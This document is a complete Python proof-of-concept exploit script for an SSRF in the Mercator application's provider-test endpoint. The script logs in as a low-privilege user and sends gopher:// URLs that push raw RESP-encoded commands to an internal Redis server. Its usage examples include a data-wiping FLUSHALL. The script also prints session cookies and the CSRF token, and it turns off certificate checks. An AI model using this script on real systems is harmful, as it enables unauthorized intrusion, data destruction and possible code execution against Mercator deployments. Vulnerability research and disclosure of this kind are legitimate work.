Mercator Configuration SSRF Chained to Internal Redis RCE (CVE-2026-49345)

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195

#!/usr/bin/env python3
"""
Mercator SSRF -> gopher:// -> Redis helper.

Sends ONE Redis command (or a small pipeline of them) to an internal Redis
instance through the SSRF in `ConfigurationController::testProvider`.

Why this works
--------------
1. The vulnerable controller calls `curl_init($provider . '/api/dbInfo')`.
   We append `#` to our URL so curl drops the `/api/dbInfo` suffix as a
   URL fragment.
2. libcurl in the deployed PHP container speaks `gopher://`. Gopher URLs
   of the form `gopher://host:port/_<bytes>` send `<bytes>` raw on the
   wire after dropping the single type character `_`.
3. We URL-encode RESP-encoded Redis commands as `<bytes>`. Redis happily
   parses them and executes.

Auth
----
Any account with the `configure` permission. By default Mercator grants
this to the `User` role, so a regular low-privilege account is sufficient.

Usage
-----
    # Single command
    ./bin/python3 ssrf2redis.py \\
        --base http://127.0.0.1:8000 \\
        --user lowuser --password 'Lowuser123!' \\
        --redis 127.0.0.1:6379 \\
        --cmd SET ssrf_proof 'pwned-by-low-priv'

    # Pipeline (commands separated by a literal ';' token)
    ./bin/python3 ssrf2redis.py ... --pipeline \\
        FLUSHALL ';' \\
        SET marker hello ';' \\
        CONFIG GET dir

The script reports the flash message returned by Mercator (an oracle), not
the Redis reply — gopher is fire-and-forget here; verify the effect with a
follow-up command or out-of-band check.
"""
import argparse
import re
import sys
import urllib.parse
import warnings

# macOS system Python links LibreSSL; urllib3 v2 emits a one-time
# NotOpenSSLWarning when imported. Purely cosmetic for this PoC — filter
# it before `requests` pulls urllib3 in (disable_warnings() runs too late,
# the warning fires at import time).
warnings.filterwarnings("ignore", message=r"urllib3 v2 only supports OpenSSL")

import requests
import urllib3
urllib3.disable_warnings()

LOGIN_TOKEN_RE = re.compile(r'name="_token"\s+value="([^"]+)"')
CSRF_META_RE = re.compile(r'name="csrf-token"\s+content="([^"]+)"')
FLASH_RE = re.compile(r'(Could not connect to provider[^<"\']*|Last NVD update:[^<"\']*)')


# ── Shared scaffold (identical across the Mercator exploit scripts) ──────────

def log(message):
    """Status banner — emitted on stderr so stdout stays pure result data."""
    print(message, file=sys.stderr)


def die(message):
    log(f"[!] {message}")
    sys.exit(1)


def login(session, base, user, password):
    """Authenticate, print the login section, and return the CSRF token."""
    r = session.get(f"{base}/login", timeout=10)
    m = LOGIN_TOKEN_RE.search(r.text)
    if not m:
        die("CSRF token not found on /login")
    r = session.post(
        f"{base}/login",
        data={"_token": m.group(1), "login": user, "password": password},
        timeout=10, allow_redirects=True,
    )
    if r.url.rstrip("/").endswith("/login"):
        die(f"authentication failed for '{user}'")
    m = CSRF_META_RE.search(r.text) or LOGIN_TOKEN_RE.search(r.text)
    if not m:
        die("CSRF token not found after login")
    csrf = m.group(1)
    log("[+] login")
    log(f"    user       : {user}")
    for c in session.cookies:
        log(f"    cookie     : {c.name}={c.value}")
    log(f"    csrf token : {csrf}")
    return csrf


# ── SSRF -> gopher -> Redis ─────────────────────────────────────────────────

def require_configure(session, base):
    """Confirm the account holds the `configure` permission."""
    r = session.get(f"{base}/admin/config/parameters?tab=cve", timeout=10)
    if r.status_code == 403:
        die("account lacks the 'configure' permission")


def resp_encode(command):
    """Encode a single Redis command (list of str/bytes) as a RESP array."""
    parts = [f"*{len(command)}\r\n".encode()]
    for a in command:
        if isinstance(a, str):
            a = a.encode()
        parts.append(f"${len(a)}\r\n".encode() + a + b"\r\n")
    return b"".join(parts)


def build_pipeline(items):
    """Split a flat list at the literal ';' separator -> list of commands."""
    cmds, current = [], []
    for tok in items:
        if tok == ";":
            if current:
                cmds.append(current)
                current = []
        else:
            current.append(tok)
    if current:
        cmds.append(current)
    return cmds


def fire(session, base, csrf, gopher_url):
    """Send the gopher payload and return Mercator's flash message."""
    session.post(
        f"{base}/admin/config/parameters",
        data={
            "_token": csrf,
            "_method": "PUT",
            "active_tab": "cve",
            "action": "test_provider",
            "provider": gopher_url,
        },
        allow_redirects=False, timeout=20,
    )
    page = session.get(f"{base}/admin/config/parameters?tab=cve").text
    m = FLASH_RE.search(page)
    return m.group(1) if m else "(no flash captured)"


def main():
    ap = argparse.ArgumentParser(
        formatter_class=argparse.RawDescriptionHelpFormatter, description=__doc__)
    ap.add_argument("--base", default="http://127.0.0.1:8000", help="Mercator base URL")
    ap.add_argument("--user", required=True, help="account login")
    ap.add_argument("--password", required=True)
    ap.add_argument("--redis", required=True, help="host:port of the target Redis")
    ap.add_argument("--cmd", nargs="+", help="single Redis command, e.g. SET k v")
    ap.add_argument("--pipeline", nargs="+",
                    help="multiple commands separated by a literal ';' token, "
                         "e.g. FLUSHALL ';' SET k v ';' SAVE")
    args = ap.parse_args()

    if args.cmd and args.pipeline:
        die("use either --cmd or --pipeline, not both")
    if not args.cmd and not args.pipeline:
        die("provide --cmd or --pipeline")

    commands = [args.cmd] if args.cmd else build_pipeline(args.pipeline)
    raw = b"".join(resp_encode(c) for c in commands)
    gopher_url = f"gopher://{args.redis}/_{urllib.parse.quote(raw, safe='')}#"

    session = requests.Session()
    session.verify = False
    csrf = login(session, args.base, args.user, args.password)
    require_configure(session, args.base)

    log(f"[*] sending {len(commands)} Redis command(s) to {args.redis} via gopher SSRF")
    for c in commands:
        log(f"    - {' '.join(c)}")
    flash = fire(session, args.base, csrf, gopher_url)
    log(f"[+] flash: {flash}")
    log("[*] flash is Mercator's view of the gopher response, not Redis — "
        "verify side effects out-of-band")


if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        die("interrupted")
    except requests.RequestException as e:
        die(f"could not reach Mercator: {e}")